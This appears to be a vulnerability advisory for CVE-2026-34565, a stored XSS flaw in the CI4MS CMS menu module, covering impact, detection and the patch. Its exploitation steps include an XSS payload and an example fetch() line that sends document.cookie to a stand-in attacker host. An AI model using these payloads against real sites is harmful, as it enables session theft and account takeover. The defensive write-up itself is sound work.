CVE-2026-34565: 
PHP vulnerability analysis and mitigation

CVE-2026-34565 is a stored DOM-based cross-site scripting (XSS) vulnerability in CI4MS, a CodeIgniter 4-based CMS skeleton, affecting all versions up to and including 0.28.6.0. The flaw exists in the Menu Management module's Posts section, where user-controlled post data is stored server-side and rendered without proper output encoding in both administrative dashboards and public-facing navigation menus. The vulnerability was published on March 31, 2026, and patched in version 0.31.0.0. It carries a CVSS v3.1 base score of 9.1 (Critical) per the GitHub Advisory, and 9.0 (Critical) per Feedly's aggregated data (Github Advisory, CI4MS Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the absence of input sanitization and output encoding in the Menu Management module's Posts section. When a post is added to a navigation menu via the /backend/menu/ endpoint, the application stores the raw post data — including any embedded JavaScript — without sanitization, and later renders it using unsafe DOM manipulation methods (e.g., .html(), innerHTML) or unencoded server-side templating. This causes the stored payload to execute in the browser of any user who views the affected menu, including administrators. The advisory notes that no sanitization mechanisms were in place at the time of disclosure, and a video PoC is publicly available (Github Advisory, CI4MS Advisory).

Successful exploitation enables persistent execution of arbitrary JavaScript in the browsers of all users — including administrators — who view the affected navigation menus or administrative dashboards. The advisory explicitly identifies full account takeover across all roles and privilege escalation as primary impacts, since session cookies and credentials can be exfiltrated via the injected script. Because the payload is embedded in global navigation rendered site-wide, a single injection can compromise the entire application and all active user sessions (Github Advisory, CI4MS Advisory).

A proof-of-concept (PoC) with explicit reproduction steps and a video demonstration is publicly available via the GitHub Security Advisory, including the specific payload <img src=x onerror=alert(document.domain)> and the target endpoint /backend/menu/ (CI4MS Advisory). Exploitation requires low privileges (an authenticated user with post or menu management access) and no user interaction on the attacker's part, as the payload executes automatically when any user views the menu. The EPSS score is approximately 0.046–0.058%, indicating a low but non-negligible probability of exploitation in the near term. There is no current evidence of in-the-wild exploitation, and the vulnerability is not listed in the CISA KEV catalog (Github Advisory).

1. Authenticate: Log in to the CI4MS application with any account that has post management or menu management privileges.
2. Create or identify a post: Create a new post or identify an existing one where the title or associated metadata can be controlled, and embed a malicious JavaScript payload such as <img src=x onerror=alert(document.domain)> or a more targeted cookie-stealing script (e.g., <script>fetch('https://attacker.com/?c='+document.cookie)</script>).
3. Navigate to Menu Management: Go to the backend Menu Management interface at /backend/menu/.
4. Add the malicious post to a menu: Use the Posts section within Menu Management to add the post containing the XSS payload to a navigation menu entry and save the configuration.
5. Payload persistence: The application stores the unsanitized post data server-side without encoding, persisting the payload in the database.
6. Trigger execution: Any administrator or user who subsequently views the administrative dashboard or any public-facing page rendering the affected navigation menu will automatically execute the injected JavaScript in their browser.
7. Achieve objective: The attacker collects session tokens, performs actions on behalf of the victim, escalates privileges, or achieves full account takeover (CI4MS Advisory, Github Advisory).

• Network: Outbound HTTP requests from administrator or user browsers to unexpected external domains (e.g., attacker-controlled servers) immediately after loading pages containing navigation menus; unusual GET/POST requests carrying cookie or session data to external endpoints.
• Logs: Web server access logs showing repeated visits to /backend/menu/ from a low-privileged account followed by unusual admin activity; application logs recording menu entries being saved with HTML or JavaScript content in post-related fields.
• File System / Database: Menu configuration records in the database containing raw HTML tags or JavaScript (e.g., <script>, <img src=x onerror=, javascript:) in post title or metadata fields associated with navigation menu entries.
• Browser / Session: Unexpected session invalidation or new admin sessions created from unfamiliar IP addresses shortly after an administrator views a menu page; browser developer tools showing script execution originating from navigation menu DOM elements (CI4MS Advisory).

The vendor has released version 0.31.0.0, which includes global input validation, enhanced CSRF token handling, and XSS protection as part of a major security and framework update (CodeIgniter 4.7.1 and Shield integration). All users should upgrade to version 0.31.0.0 or later immediately (CI4MS Release). As interim mitigations prior to upgrading, administrators should restrict menu management and post management privileges to the minimum necessary accounts, implement a strict Content Security Policy (CSP) header, and ensure session cookies are configured with HttpOnly, Secure, and SameSite attributes. The advisory also recommends replacing unsafe DOM manipulation methods (.html(), innerHTML) with safe alternatives and applying HTML entity encoding to all user-controlled output (Github Advisory).

The vulnerability received coverage from The Hacker Wire, which published a dedicated article on the stored DOM XSS issue in CI4MS Menu Management (The Hacker Wire). Social media activity was observed on Bluesky and Mastodon, with accounts such as cve.skyfleet.blue and @thehackerwire sharing the advisory shortly after publication. The vulnerability was also indexed by ENISA's EUVD (EUVD-2026-18078), INCIBE-CERT, and multiple CVE aggregation platforms, indicating moderate community awareness for a niche CMS product.